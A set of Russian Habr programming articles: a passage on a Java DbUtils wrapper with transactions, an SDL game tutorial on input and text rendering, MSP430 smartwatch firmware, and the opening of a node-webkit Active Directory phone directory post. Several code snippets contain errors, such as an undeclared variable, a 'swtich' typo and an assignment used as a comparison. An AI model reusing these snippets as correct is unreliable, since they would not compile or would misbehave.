Объявляем интерфейс где собственно будет логика запроса
```
public interface SqlExecutor {
T run(Connection conn) throws SQLException;
}
```
и его обертку:
```
public class Sql {
public static T execute(boolean isReadOnly, SqlExecutor executor) {
try {
return executor.run(ConnectionFactory.getConnection(isReadOnly)
} catch (SQLException e) {
throw LOGGER.getStateException(ExceptionType.DATA\_BASE, e);
} finally {
ConnectionFactory.close(conn);
}
}
```
Теперь все запросы к базе будут идти через нашу обертку:
```
private static final QueryRunner QUERY_RUNNER = new QueryRunner();
public static int update(Connection conn, final String updateSql, final Object... params) throws SQLException {
return QUERY_RUNNER.update(conn, updateSql, params);
}
public static T query(Connection conn, final String sql, final ResultSetHandler rsh, final Object... params) throws SQLException {
return QUERY\_RUNNER.query(conn, sql, rsh, params);
}
public static int update(final String updateSql, final Object... params) {
return Sql.execute(false, new SqlExecutor() {
@Override
public Integer run(Connection conn) throws SQLException {
return update(conn, updateSql, params);
}
});
}
public static T query(final String sql, final ResultSetHandler rsh, final Object... params) {
return execute(true, new SqlExecutor() {
@Override
public T run(Connection conn) throws SQLException {
return query(conn, sql, rsh, params);
}
});
}
```
Скаляры достаем через утильные методы:
```
public static T queryForValue(Connection conn, final String sql, final Object... params) throws SQLException {
return query(conn, sql, new ScalarHandler(), params);
}
public static T queryForValue(final String sql, final Object... params) throws SQLException {
return query(sql, new ScalarHandler(), params);
}
```
Получение PK при вставке
------------------------
Пока [Generated key handling for updates](https://issues.apache.org/jira/browse/DBUTILS-54) в статусе Unresolved, приходится делать все самим:
```
public class KeyQueryRunner extends QueryRunner {
private static final LoggerWrapper LOGGER = LoggerWrapper.get(KeyQueryRunner.class);
private static final ResultSetHandler KEY\_HANDLER = new ScalarHandler();
public int insert(Connection conn, String sql, Object... params) throws SQLException {
PreparedStatement stmt = null;
int rows = 0;
try {
stmt = conn.prepareStatement(sql, Statement.RETURN\_GENERATED\_KEYS);
this.fillStatement(stmt, params);
rows = stmt.executeUpdate();
if (rows != 1) {
throw LOGGER.getStateException("Ошибка вставки записи " + sql, ExceptionType.DATA\_BASE);
}
return KEY\_HANDLER.handle(stmt.getGeneratedKeys());
} catch (SQLException e) {
this.rethrow(e, sql, params);
} finally {
close(stmt);
}
return rows;
}
}
private static final KeyQueryRunner KEY\_QUERY\_RUNNER = new KeyQueryRunner();
public static int insert(Connection conn, final String insertSql, final Object... params) throws SQLException {
return KEY\_QUERY\_RUNNER.insert(conn, insertSql, params);
}
public static int insert(final String insertSql, final Object... params) {
return Sql.execute(false, new SqlExecutor() {
@Override
public Integer run(Connection conn) throws SQLException {
return insert(conn, insertSql, params);
}
});
}
```
Если ключи типа long — не забудте заменить int->long, Integer->Long.
Транзакционность
----------------
Наконец, какая работа с базой без транзакций?
Допустим, у нас есть какой-то метод, обращающийся к базе:
```
checkAssess(final int docId, final Access accessMode)
```
Connection он не принимает, а нам захотелось использовать его внутри транзакции.
И хотелось бы не дублировать его в
```
checkAssess(Connection conn, final int docId, final Access accessMode)
```
Делаем транзакционную обертку:
```
public static T executeInTransaction(SqlExecutor executor) {
Connection conn = null;
try {
conn = ConnectionFactory.getTxConnection();
T res = executor.run(conn);
conn.commit();
return res;
} catch (Error e) {
throw rollback(conn, e);
} catch (Exception e) {
throw rollback(conn, e);
} finally {
ConnectionFactory.closeTx(conn);
}
}
private static StateException rollback(Connection conn, Throwable e) {
try {
if (conn != null) {
conn.rollback();
}
return LOGGER.getStateException(ExceptionType.DATA\_BASE, e);
} catch (SQLException se) {
return LOGGER.getStateException("Unable to rollback transaction", ExceptionType.DATA\_BASE, e);
}
}
```
и кладем коннекшен транзакции вThreadLocal:
```
public class ConnectionFactory {
...
private static final ThreadLocal TRANSACT\_CONN = new ThreadLocal();
static Connection getCurrentConn() {
return TRANSACT\_CONN.get();
}
static Connection getTxConnection() throws SQLException {
Connection conn = TRANSACT\_CONN.get();
if (conn != null) {
throw LOGGER.getIllegalStateException("Start second transaction in one thread");
}
conn = getDataSource().getConnection();
conn.setAutoCommit(false);
TRANSACT\_CONN.set(conn);
return conn;
}
static void closeTx(Connection conn) {
close(conn);
TRANSACT\_CONN.set(null);
}
```
И учитываем возможность транзакции в нашем Execute:
```
public static T execute(boolean isReadOnly, SqlExecutor executor) {
Connection conn = null;
Connection txConn = ConnectionFactory.getCurrentConn();
try {
return executor.run(
(txConn == null) ? ConnectionFactory.getConnection(isReadOnly) : txConn);
} catch (SQLException e) {
throw LOGGER.getStateException(ExceptionType.DATA\_BASE, e);
} finally {
if (txConn == null)
ConnectionFactory.close(conn);
}
}
```
Теперь любой наш запрос к базе через Execute внутри транзакции будет работать с транзакционным коннектом.
Но также останется возможность внутри транзакции обращаться к базе не через Executor:
```
List list = Sql.executeInTransaction(new SqlExecutor>() {
@Override
public List run(Connection conn) throws SQLException {
Sql.select(conn, ...);
Sql.update(conn, ...);
return Sql.select(conn, ...);
}
});
```
Подход простой по сравнению, например, с Spring TransactionManager, нет вложенных транзакций, но для 99% случаев этого достаточно. Особенно если не хочется тянуть за собой весь Spring или ORM.
Наконец, чтобы не писать тип Void и return null, сделаем возможность запросов без возвращения результата (аналог Spring TransactionCallbackWithoutResult)
```
public interface SqlExecutorVoid {
void run(Connection conn) throws SQLException;
}
public class Sql {
...
private static SqlExecutor getWrapperExecutor(final SqlExecutorVoid voidExecutor) {
return new SqlExecutor() {
@Override
public Void run(Connection conn) throws SQLException {
voidExecutor.run(conn);
return null;
}
};
}
public static void execute(boolean isReadOnly, SqlExecutorVoid executor) {
execute(isReadOnly, getWrapperExecutor(executor));
}
public static void executeInTransaction(SqlExecutorVoid executor) {
executeInTransaction(getWrapperExecutor(executor));
}
```
Если Вам понравился подход, то собрав из кусков классы вы будете иметь удобный (и уже знакомый) инструментарий для несложной работы с вашей базой.
Спасибо за внимание. Ссылки на проекты, которые уже реализуют нечто похожее и конструктивная критика приветствуется.
PS: при использовании BeanHandler и BeanListHandler маппинга ResultSet в бины java не забывайте про конструктор по умолчанию и setter-ы результирующих классов. | https://habr.com/ru/post/183204/ | null | ru | null |
# Игра на SDL — вдвойне легко
Эта статья является продолжением данного [поста](http://habrahabr.ru/blogs/gdev/134936/).
В этот раз мы рассмотрим события нажатия клавиш клавиатуры и мыши, отрисовку текста с помощью готовой библиотеки и руками. Да к тому же получим моральное удовлетворение, дописав игру до конца.
События
=======
Теперь, когда у нас есть вполне работающая отрисовка карты нужно реагировать на действия игрока.
Вообще, каждое действие пользователя(закрытие программы, нажатие клавиш, движение мыши) можно получить с помощью SLD\_PollEvent. В качестве параметра передается переменная(точнее, её адрес) типа SDL\_Event, которая и будет хранить последнее событие. Получив событие, мы должны проверить, нужно ли оно вообще нам. Для начала реализуем важную вещь — закрытие программы по событию выхода. Будем ходить бесконечно по циклу в ожидании нужного нам события, а по получению его выйдем из главного цикла.
>
> ```
> while (!done)
> {
> while (SDL_PollEvent(&event)) // Пока есть хоть одно необработанное событие
> {
> swtich(event.type)
> {
> case SDL_QUIT: // Событие выхода
> done = true;
> }
> }
> }
>
> ```
>
>
>
Запустим и проверим результат. Теперь окно будет закрываться на события завершения(ALT+F4 и соответствующая кнопка окна программы). Но, тут мы не учли одну важную вещь. Если у нас нет события, то программа будет бесполезно тратить процессорное время, ходя по циклу:
Вместо этого будем просто ожидать событие:
>
> ```
> while (!done)
> {
> SDL_WaitEvent(&event);
> // Проверка события
> }
>
> ```
>
>
>
Тем самым очень сильно снизив потребности игры.
Результат существенен:
Реализуем событие нажатия кнопки мыши. Игрок сможет, нажимая на любой блок, выбрать необходимый ему цвет. Блоки лежат от в координатах от 0 до 30 \* maps. Поэтому абы какие клики нас не интересуют.
>
> ```
> case SDL_MOUSEBUTTONDOWN:
> {
> if (event.button.button = SDL_BUTTON_LEFT)
> {
> int x = event.button.x, y = event.button.y; // Координаты клика
> if (x < 30 * maps && y < 30 * maps)
> AddColor(map[x / 30][y / 30]);
> DrawStep(); // Процедура отрисовки количества ходов, к которой мы вернемся позднее.
> SDL_Flip(screen);
> }
> break;
> }
>
> ```
>
>
>
Процедура AddColor представляет из себя поиск в глубину с отрисовкой каждой измененной клетки с помощью DrawBlock и изменением счетчика количества ходов на 1, поэтому она не представляет для нас особого интереса.
Реализовать ход по заданной клавише не сложнее, но придется рассмотреть каждую кнопку отдельно:
>
> ```
> case SDL_KEYDOWN:
> {
> switch(event.key.keysym.sym)
> {
> case SDLK_ESCAPE: // Выход из программы по нажатию Esc
> {
> done = true;
> break;
> }
> case SDLK_b: // Клавиша B
> {
> AddColor(COLOR_BLUE), DrawStep(), SDL_Flip(screen);
> // COLOR_BLUE — define номера цвета
> break;
> }
> case SDLK_g:
> {
> AddColor(COLOR_GREEN), DrawStep(), SDL_Flip(screen);
> break;
> }
> case SDLK_o:
> {
> AddColor(COLOR_ORANGE), DrawStep(), SDL_Flip(screen);
> break;
> }
> case SDLK_r:
> {
> AddColor(COLOR_RED), DrawStep(), SDL_Flip(screen);
> break;
> }
> case SDLK_v:
> {
> AddColor(COLOR_VIOLETT), DrawStep(), SDL_Flip(screen);
> break;
> }
> case SDLK_y:
> {
> AddColor(COLOR_YELLOW), DrawStep(), SDL_Flip(screen);
> }
> }
> break;
> }
>
> ```
>
>
>
Не хватает только вывода количества ходов.
Отрисовка текста
================
Стандартно в SDL не реализована поддержка текста. И тут есть 2 варианта, как поступить:
1) Сделать все сам
2) Воспользоваться библиотекой SDL\_ttf.h
Первый способ очевиден — букву можно также нарисовать в виде изображения и выводить нужную, как с блоками. Заготовки можно хранить по-разному. Либо каждую букву в отдельном изображении, либо создать один большой рисунок и выводить кусок, соответствующей нужной букве.
В этом случае вам понадобится SDL\_SetColorKey, который установит выбранный на поверхности цвет прозначным(на данном рисунке — 255 0 255)
>
> ```
> SDL_SetColorKey(img, SDL_SRCCOLORKEY, SDL_MapRGB(img->format,255, 0, 255));
>
> ```
>
>
>
Цвет (255, 0, 255) теперь на поверхности img будет являться прозрачным.
Какой способ выбирать — решать вам. В этом примере я выбрал второй способ, как менее трудоемкий. Но стоит учесть, что этот способ и более медленный.
Он также несколько удобнее, позволяет каждый раз задавать цвет текста без лишних хлопот. Потребуется только шрифт формата TTF.
Для начала нужно поступить как и с SDL — проинициализировать. На этот раз никакие параметры не потребуются.
>
> ```
> TTF_Init();
>
> ```
>
>
>
Код вывода текста же следующий:
>
> ```
> void WriteText(int x, int y, char text[100], int sz, int r, int g, int b)
> {
> SDL_Color clr; // Тип для цвета. 4 числа — R, G, B и A, соответственно.
> clr.r = r;
> clr.g = g; // Зададим параметры цвета
> clr.b = b;
> TTF_Font * fnt = TTF_OpenFont("courier.ttf", sz); // Загружаем шрифт по заданному адресу размером sz
> SDL_Rect dest;
> dest.x = x;
> dest.y = y;
> SDL_Surface * TextSurface = TTF_RenderText_Blended(fnt, text, clr); // Переносим на поверхность текст с заданным шрифтом и цветом
> SDL_BlitSurface(TextSurface, NULL, screen, &dest);
> SDL_FreeSurface(TextSurface); // Освобождаем память уже ненужной поверхности
> TTF_CloseFont(fnt); // Закрываем шрифт
> }
>
> ```
>
>
>
Теперь можно рассмотреть реализацию DrawStep
Во-первых она использует процедуру CleanImage(), которая будет зачищать область с заданными размерами для дальнейшего вывода текста туда.
>
> ```
> void CleanImage(int x, int y, int w, int h)
> {
> SDL_Rect desc;
> desc.x = x;
> desc.y = y;
> desc.w = w;
> desc.h = h;
> SDL_FillRect(screen, &desc, 0); // Заполняем область черным цветом(ему соответствует 0)
> }
>
> void DrawStep()
> {
> CleanImage(430, 50, 150, 100);
> for (int i = 0; i < 100; i++)
> tmpch[i] = 0;
> if (FinishGame()) // Заполнено ли все поле одним цветом
> {
> CleanImage(430, 50, 150, 20);
> for (int i = 0; i < 100; i++)
> tmpch[i] = 0;
> if (step <= 25) // Если число ходом не больше 25
> sprintf(tmpch, "You win!"), WriteText(430, 50, tmpch, 20, 0, 255, 0); // цвет - (0, 255, 0)
> else
> sprintf(tmpch, "Not bad!"), WriteText(430, 50, tmpch, 20, 255, 255, 0);
> for (int i = 0; i < 100; i++)
> tmpch[i] = 0;
> sprintf(tmpch, "Result:%d", step);
> WriteText(430, 80, tmpch, 20, 255, 255, 0);
> step = 0;
> GenMap(); // Обнуляем количество шагов, заново создает поле и выводим его
> DrawMap();
> }
> else
> {
> sprintf(tmpch, "%d%s", step, "/25");
> if (step <= 25)
> WriteText(430, 50, tmpch, 20, 0, 255, 0); // Текст зеленый, пока число ходов не больше 25
> else
> WriteText(430, 50, tmpch, 20, 255, 0, 0);
> }
> }
>
> ```
>
>
>
Настало время запустить проект и увидеть, что получилось:
На этом все, вы можете сыграть пару десятков, сотен раз или дополнить что-то.
Исходники, которые содержат небольшие дополнения в коде, вы можете сказать [здесь](http://narod.ru/disk/35174133001/SDLProject.zip.html). | https://habr.com/ru/post/135035/ | null | ru | null |
# Умные часы своими руками за 1500 рублей. Часть 3 – программа на МК
Вот и пришло время выложить исходный код прошивки МК, но сначала я хочу поблагодарить [bigbee](http://geektimes.ru/users/bigbee/) за новенький корпус для моих часов, который он отпечатал и выслал мне совершенно бесплатно. Так же спасибо [Chameleonka](http://geektimes.ru/users/chameleonka/) за предложение напечатать корпус.
Итак, программа была написана на Code Compmser Studio V 5.3.0
Расписывать код досконально я не буду, но важные моменты (на мой взгляд) распишу.
Сразу хочу оговориться, что данная программа не идеальна и не оптимизирована.
Приступим
В программу включен файл Symbols.h, содержащий таблицу символов, иконки панели уведомлений, цифры для часов. Все данные представлены в виде массивов, в которых хранятся данные для попиксельного отображения на экране.
Так же включен файл TI\_USCI\_I2C\_master.h. Это стандартная библиотека от TI для работы с модулем USCI в качестве I2C master для приема — передачи данных.
**Включения и определения**
```
#include
#include "Symbols.h"
#include "TI\_USCI\_I2C\_master.h"
/\* Bit operations \*/
#define BIT\_SET(lval, mask) ((lval) |= (mask))
#define BIT\_CLR(lval, mask) ((lval) &= ~(mask))
#define BIT\_TEST(val, mask) (((val) & (mask))==(mask))
/\* BSL \*/
#define TXD BIT1 // P1.1: BSL TxD
#define RXD BIT5 // P1.5: BSL RxD
/\* BT \*/
#define BT\_TXD BIT1 // P2.1: UART BT TxD
#define BT\_RXD BIT0 // P2.0: UART BT RxD
#define BT\_PWR BIT2 // P2.2, P3.2
#define BT\_LED BIT3 // P3.3
/\* LCD \*/
#define PIN\_RESET BIT2 // P1.2 RESET
#define PIN\_SCE BIT3 // P1.3 CS
#define PIN\_SDIN BIT4 // P1.4 SDA //mosi
#define PIN\_SCLK BIT1 // P3.1 SCK
#define PIN\_LED BIT0 // P3.0 подсветка дисплея
#define LCD\_C 0 // Command
#define LCD\_D 1 // Data
/\* Buttons & vibro \*/
#define B\_CENT BIT4 // P2.4
#define B\_UP BIT3 // P2.3
#define B\_DOWN BIT5 // P2.5
#define vibro BIT4 // P3.4
/\* System configuration \*/
#define TIMER1A\_CLOCK 1000000L // Timer1\_A clock rate (1 MHz)
#define UART\_BAUD 9600 // desired UART baud rate
#define BT\_BITTIME (TIMER1A\_CLOCK/UART\_BAUD) // Bit interval
#define BT\_HALF\_BT ((BT\_BITTIME+1)/2) // Half-bit interval
#define Slave\_Address 0x68 // address RTC
```
**Определение функций**
```
void check_akkum(void); // проверка состояния аккумулятора
void check_bluetooth(void); // проверка состояния BT
void uart_tx_bt(char c); // отправка символа по BT
void uart_puts_bt(char const* s); // отправка строки по BT
void get_time_from_rtc(void); // получение времени с ЧРВ и запись во FLASH
void set_time_to_rtc(void); // запись времени на ЧРВ
void LcdCharacter(char character); // вывести символ
void LcdClear(void); // отчистить весь экран
void clear_1(void); // отчистить экран, кроме статус бара
void Lcd_set_pos(unsigned char c, unsigned char r); // установить позицию в символах на строку
void Lcd_set_pos_pix(unsigned char c, unsigned char r); // установить позицию в пикселях на строку
void lcd_contrast(unsigned char contrast2); // установить контрастность экрана
void lcd_dig(unsigned char num, unsigned char pos_x, unsigned char pos_y); // цифры часов
void lcd_dot(unsigned char num, unsigned char pos_x, unsigned char pos_y); // двоеточия часов
void LcdWrite(unsigned char dc, unsigned char data); // отправка комманды/данных на экран
void LcdString(char *characters); // вывести строку
void lcd_show_sms(unsigned char a); // значек смс
void lcd_show_call(unsigned char a); // значек звонка
void lcd_show_bt(unsigned char a); // значек BT
void lcd_show_bat(unsigned char proc); // значек аккумулятора
void lcd_set_time_big(void); // вывести большие часы
void lcd_set_time_small(void); // вывести малые часы (в статус баре)
void lcd_show_main(void); // показать главный экран (дата и большие часы)
void menu_setting(unsigned char submenu); // меню
void down_sub_menu(void); // передвижение по меню
void up_sub_menu(void); // и изменения в подменю
void parse_string(void); // разбор принятой строки
```
Настраиваем модули МК для работы с внешними модулями часов:
* DCO — Частота встроенного генератора 8MHz;
* Timer0 — ШИМ для подсветки дисплея;
* Timer1 — Программный UART для общения с BT;
* WDT+ — Интервальный таймер для проверок часов;
* FLASH — Хранение изменяемых настроек и даты/времени;
* ADC10 — АЦП для определения напряжения на аккумуляторе.
**Инициализация**
```
WDTCTL = WDTPW + WDTHOLD; // отключаем ватчдог
// init clocks
BCSCTL1 = CALBC1_8MHZ;
DCOCTL = CALDCO_8MHZ;
BCSCTL2 = 0; // MCLK = 8MHz/1,SMCLK = 8MHz/1
BCSCTL3 = LFXT1S_2; // Mode 2 for LFXT1 : VLO = 12kHz
__delay_cycles(800000);
// сажаем BSL ноги на выход и лог. 0
BIT_SET(P1DIR, TXD | RXD);
BIT_CLR(P1OUT, TXD | RXD);
edit_time = 0;
// берем инфу о настройках экрана из FLASH'а
char *a;
a = (char*) 0x104d;
contrast = *a++;
pwm_width = 0x00ff | (*a++) << 8;
timer_off = ((*a++) & 0x00ff) << 8;
timer_off |= ((*a++) & 0x00ff);
// настройка портов для LCD
BIT_SET(P1DIR, PIN_RESET + PIN_SCE + PIN_SDIN);
BIT_SET(P3DIR, PIN_SCLK);
BIT_CLR(P1OUT, PIN_RESET + PIN_SDIN);
BIT_CLR(P3OUT, PIN_SCLK);
BIT_SET(P1OUT, PIN_SCE);
BIT_SET(P3DIR, PIN_LED);
BIT_SET(P3OUT, PIN_LED);
BIT_SET(P1OUT, PIN_RESET);
// последовательность инициализации LCD
LcdWrite(LCD_C, 0xE2); // сброс програмный
LcdWrite(LCD_C, 0x3D); // Charge pump ON
LcdWrite(LCD_C, 0x01); // Charge pump=4
LcdWrite(LCD_C, 0xA4); //
LcdWrite(LCD_C, 0x2F); //
LcdWrite(LCD_C, 0xC0); // нормальное верх-низ
LcdWrite(LCD_C, 0xA0); // нормальное лево-право
__delay_cycles(800000);
LcdWrite(LCD_C, 0xAF); // Display ON
LcdClear();
lcd_contrast(contrast);
BIT_SET(P3SEL, PIN_LED);
BIT_SET(P3DIR, PIN_LED);
// таймер ШИМ для подсветки
TACTL = TASSEL_2 + ID_0 + MC_1 + TACLR; // SMCLK/1 + прямой счет до TACCR0 + counter clear
TACCR0 = 0x0fff; // период ШИМ
TACCR2 = pwm_width; // заполнение ШИМ для подсветки
TACCTL2 = OUTMOD_6; // выход ШИМ
// init Bluetooth
BIT_SET(P3DIR, BT_PWR);
BIT_CLR(P3REN, BT_PWR);
BIT_SET(P3OUT, BT_PWR);
BIT_SET(P2DIR, BT_PWR);
BIT_CLR(P2REN, BT_PWR);
BIT_SET(P2OUT, BT_PWR); //питание БТ ON
BIT_CLR(P3DIR, BT_LED); //состояние бт
bt_on = 1;
lcd_show_bt(1);
//Timer1 для uart
TA1CTL = TASSEL_2 + ID_3 + MC_2 + TAIE; //SMCLK/8 + Continous up + interrupt enable
TA1CCTL1 = OUT; //Tx
TA1CCTL0 = CM_2 + SCS + CAP + CCIE; //Rx
//Порты Rx и TX для БТ
BIT_SET(P2SEL, BT_TXD + BT_RXD);
BIT_SET(P2DIR, BT_TXD);
//таймер для выкл. экрана
BIT_SET(TA1CCTL2, CCIE);
// Настройка кнопок
BIT_CLR(P2DIR, B_CENT|B_UP|B_DOWN);
// направление пинов - IN
BIT_SET(P2REN, B_CENT|B_UP|B_DOWN);
// подключение резисторов
BIT_SET(P2IE, B_CENT|B_UP|B_DOWN);
// Разрешение прерываний
BIT_SET(P2IES, B_CENT|B_UP|B_DOWN);
// Прерывание происходит по 1/0 (отпусканию/нажатию)
BIT_CLR(P2IFG, B_CENT|B_UP|B_DOWN);
// Очистка флага прерываний
// WDT+ как интервальный таймер, частота 12 КГц - ACLK - VLO
WDTCTL = WDTPW + WDTTMSEL + WDTSSEL;
BIT_SET(IE1, WDTIE);
// vibro - выход
BIT_SET(P3DIR, vibro);
BIT_CLR(P3OUT, vibro);
lcd_show_main(); // главный экран
__enable_interrupt();
edit_time = 0;
get_time = 0;
set_time = 0;
get_time_from_rtc(); // обновляем время
__delay_cycles(8000000);
set_time_to_rtc(); // обновляем время
// init ADC
ADC10CTL0 = SREF_1 + ADC10SR + REF2_5V + ADC10SHT_2 + REFON + ADC10ON + ADC10IE;
ADC10CTL1 = INCH_0;
ADC10AE0 |= 0x01; // устанавливаем 0-ой пин как вход для АЦП
```
Прерывания
Во всех обработчиках прерываний сначала отключаются другие прерывания, которые при завершении обработчика включаются обратно.
При приеме данных по BT происходит прерывание либо Timer1 если часы в активном режиме, либо P2, если часы в режиме энергосбережения.
В режиме LPM3 SMCLK отключен, соответственно таймер не работает. Если произошло прерывание порта P2 от BT, переводим МК в активный режим и переводим пин BT\_RXD на вход Timer1.
По окончанию приема данных (символ конца сообщения 0x00) происходит обработка полученной строки. Первый символ строки — идентификатор. «1» — телефон подключился к часам; «2» — входящее смс; «3» — входящий звонок; «4» — текст, который нужно просто вывести на экран часов; «5» — с телефона отправлены дата и время.
**Разбор строки**
```
unsigned int il;
unsigned char z,k;
switch (inputString[0]) {
case '1': { // индикация успешно подключившегося к BT телефона
BIT_SET(P3OUT, vibro);
__delay_cycles(1600000);
BIT_CLR(P3OUT, vibro);
__delay_cycles(1600000);
BIT_SET(P3OUT, vibro);
__delay_cycles(1600000);
BIT_CLR(P3OUT, vibro);
__delay_cycles(1600000);
BIT_SET(P3OUT, vibro);
__delay_cycles(1600000);
BIT_CLR(P3OUT, vibro);
lcd_show_bt(2);
bt_connect = 1;
break;
}
case '2': { // индикация входящего смс
current_screen = 1;
lcd_show_sms(1);
lcd_show_call(0);
clear_1();
Lcd_set_pos(0, 1);
z = 1;
il = 1;
k = 15;
if (multiscreen) {
current_screen = 4;
while (il < 105) {
LcdCharacter(inputString[il]);
if (++il > k){
Lcd_set_pos(0, ++z);
k += 15;
}
}
LcdCharacter(0x7f);
} else
while (inputString[il] != 0x00) {
LcdCharacter(inputString[il]);
if (++il > k){
Lcd_set_pos(0, ++z);
k += 15;
}
}
BIT_SET(P3OUT, vibro);
__delay_cycles(2800000);
BIT_CLR(P3OUT, vibro);
__delay_cycles(2400000);
BIT_SET(P3OUT, vibro);
__delay_cycles(8000000);
BIT_CLR(P3OUT, vibro);
break;
}
case '3': { // индикация входящего звонка
current_screen = 1;
lcd_show_sms(0);
lcd_show_call(1);
clear_1();
Lcd_set_pos(0, 2);
il = 1;
z = 2;
k = 15;
while (inputString[il] != 0x00) {
LcdCharacter(inputString[il]);
if (++il > k){
Lcd_set_pos(0, ++z);
k += 15;
}
}
call_true = 1;
BIT_SET(P3OUT, vibro);
__delay_cycles(1600000);
BIT_CLR(P3OUT, vibro);
__delay_cycles(800000);
BIT_SET(P3OUT, vibro);
__delay_cycles(8000000);
BIT_CLR(P3OUT, vibro);
__delay_cycles(1600000);
BIT_SET(P3OUT, vibro);
__delay_cycles(1600000);
BIT_CLR(P3OUT, vibro);
__delay_cycles(800000);
BIT_SET(P3OUT, vibro);
__delay_cycles(8000000);
BIT_CLR(P3OUT, vibro);
break;
}
case '4': { // отображение присланного текста
current_screen = 1;
lcd_show_sms(0);
lcd_show_call(0);
clear_1();
Lcd_set_pos(0, 1);
il = 1;
z = 1;
k = 15;
if (multiscreen) {
current_screen = 4;
while (il < 105) {
LcdCharacter(inputString[il]);
if (++il > k){
Lcd_set_pos(0, ++z);
k += 15;
}
}
LcdCharacter(0x7f);
} else
while (inputString[il] != 0x00) {
LcdCharacter(inputString[il]);
if (++il > k){
Lcd_set_pos(0, ++z);
k += 15;
}
}
break;
}
case '5': { // сохранение присланного времени
edit_time = 1;
s10 = inputString[1] & 0x0f;
s1 = inputString[2] & 0x0f;
m10 = inputString[3] & 0x0f;
m1 = inputString[4] & 0x0f;
h10 = inputString[5] & 0x0f;
h1 = inputString[6] & 0x0f;
dw = (inputString[7] & 0x0f) + 1 ;
d10 = inputString[8] & 0x0f;
d1 = inputString[9] & 0x0f;
mo10 = inputString[10] & 0x0f;
mo1 = inputString[11] & 0x0f;
ye10 = inputString[14] & 0x0f;
ye1 = inputString[15] & 0x0f;
set_time = 1;
break;
}
default: {
break;
}
}
if (!multiscreen)
for (il = 313; il > 0; il--)
inputString[il] = 0;
```
Обработчик прерывания P2 так же проверяет нажатие кнопок. Если кнопка нажата, происходит выход из режима энергосбережения. Так же для каждой кнопки в обработчике прерывания P2 есть цикл проверки «длинного» нажатия.
Обработчик прерывания WDT+ проверяет состояние BT, дает команду для обновления времени с ЧРВ, дает команду на включение АЦП.
Обработчик прерывания ADC10 дает команду для обновления состояния аккумулятора. Прерывание ADC10 срабатывает после окончания преобразования.
**Работа с FLASH**
```
// запись данных во FLASH
char *Flash_ptrC;
Flash_ptrC = (char *) 0x1040; // Point to beginning of seg C
FCTL2 = FWKEY + FSSEL_1 + FN1; // MCLK/3 for Flash Timing Generator
FCTL1 = FWKEY + ERASE; // Set Erase bit
FCTL3 = FWKEY ; // Clear LOCK
*Flash_ptrC = 0x00; // Dummy write to erase Flash seg C
FCTL1 = FWKEY + WRT; // Set WRT bit for write operation
Flash_ptrC = (char *) 0x1040; // Point to beginning
*Flash_ptrC++ = s10; // 0x1040
*Flash_ptrC++ = s1; // 0x1041
*Flash_ptrC++ = m10; // 0x1042
*Flash_ptrC++ = m1; // 0x1043
*Flash_ptrC++ = h10; // 0x1044
*Flash_ptrC++ = h1; // 0x1045
*Flash_ptrC++ = dw; // 0x1046
*Flash_ptrC++ = d10; // 0x1047
*Flash_ptrC++ = d1; // 0x1048
*Flash_ptrC++ = mo10; // 0x1049
*Flash_ptrC++ = mo1; // 0x104a
*Flash_ptrC++ = ye10; // 0x104b
*Flash_ptrC++ = ye1; // 0x104c
*Flash_ptrC++ = contrast; // 0x104d
*Flash_ptrC++ = (pwm_width & 0xff00) >> 8; // 0x104e
*Flash_ptrC++ = (timer_off & 0xff00) >> 8; // 0x104f
*Flash_ptrC++ = (timer_off & 0x00ff); // 0x1050
FCTL1 = FWKEY; // Clear WRT bit
FCTL3 = FWKEY + LOCK; // Set LOCK
// чтение данных из FLASH
char *a;
a = (char*) 0x1040;
s10 = *a++;
s1 = *a++;
m10 = *a++;
m1 = *a++;
h10 = *a++;
h1 = *a++;
dw = *a++;
d10 = *a++;
d1 = *a++;
mo10 = *a++;
mo1 = *a++;
ye10 = *a++;
ye1 = *a++;
contrast = *a++;
pwm_width = 0x00ff | (*a++) << 8;
timer_off = ((*a++) & 0x00ff) << 8;
timer_off |= ((*a++) & 0x00ff);
```
Исходники программы [тут](https://github.com/winkingsl/smatr-watch-on-msp430)
И еще фото новенького корпуса:
Как всегда жду с нетерпением вопросов и комментариев.
[Часть 1 — Начало](http://habrahabr.ru/post/218495/)
[Часть 2 — Плата и компоненты](http://habrahabr.ru/post/218645/) | https://habr.com/ru/post/219773/ | null | ru | null |
# Telephone Directory
Телефонный справочник для Active Directory
------------------------------------------
Для тех, кто статью читать не захочет, сразу репозиторий на [github](https://github.com/titulus/Telephone-Directory).
А остальных под катом ждёт бессвязная и бессмысленная история о том, как я ~~дошёл до жизни такой~~, при помощи node-webkit, написал приложение, которого *джва года ждал*.
Всю свою ~~сознательную жизнь~~ карьеру сисадмина я восхищался Active Directory от MS. И как только появилась такая возможность — внедрил её на предприятии, где работаю.
И понеслось… Я стал интегрировать всё, до чего дотянусь, с AD. Аутентификация прокси, база сотрудников для СКД, Антивирус и т.п. И не хватало мне для счастья телефонного справочника, который бы брал все данные из базы AD. Уже полгода я то и дело мучаю гугл на эту тему, но результаты не утешительные.
Основные требования к такому справочнику:
1. отдельное **portable** приложение. *Каждый раз натыкаясь на web-based справочник думал «если уж поднимать для этого сервак — то там уже сделаю полноценный корпоративный портал, а сейчас мне нужен всего лишь маленький справочник.*
2. бесплатный
3. Максимально простой и удобный в использовании. *Он всегда представлялся мне просто таблицей с сортировкой и поиском*
Из всего зоопарка подобного софта, что я обнаружил, можно выделить несколько типов:
* **Громоздкие**: Всякие корпоративные порталы [jomportal](http://www.jomportal.ru/), [onlyoffice](http://www.onlyoffice.com/)...
* **Платные**: В принципе то, что нужно [от dovestones](http://www.dovestones.com/active-directory-phone-book/), [от ithicos](http://ithicos.com/active-directory-tools/web-white-pages-phonebook.html)...
* **Имеющие фатальный недостаток**: [от gourami](http://www.gourami.eu/active-directory-telephone-book/)(стрёмный, не запустился, ещё и фремиум), [от dmtsoft](http://dmtsoft.ru/bn/702/as/oneaticleshablon)(один из лучших, о его недостатках чуть ниже.), или тысяча всевозможных VB скриптов генерирующих HTML файл.
Видел когда-то ещё и серверный вариант на php, правда не нашёл его при написании статьи. Его можно отнести к 3-ей группе, так как требование сервера для меня является недостатком.**По поводу справочника от dmsoft**Выглядит он вот так
И нет никакой возможности хотя бы ширину столбца телефона сделать больше по умолчанию. А настраивать интерфейс каждый раз при запуске жутко раздражает.
Ничего не предвещало ~~беды~~ решения этой проблемы, но позавчера я узнал о [node-webkit](http://nwjs.io/)!
Возможность написания десктопного приложения на знакомом языке — что может быть лучше? Радости моей не было предела.
Но вот незадача… Дома маленький ребёнок, постоянно требующий внимания, а на работе *внезапно* работа. Кодить категорически некогда и негде.
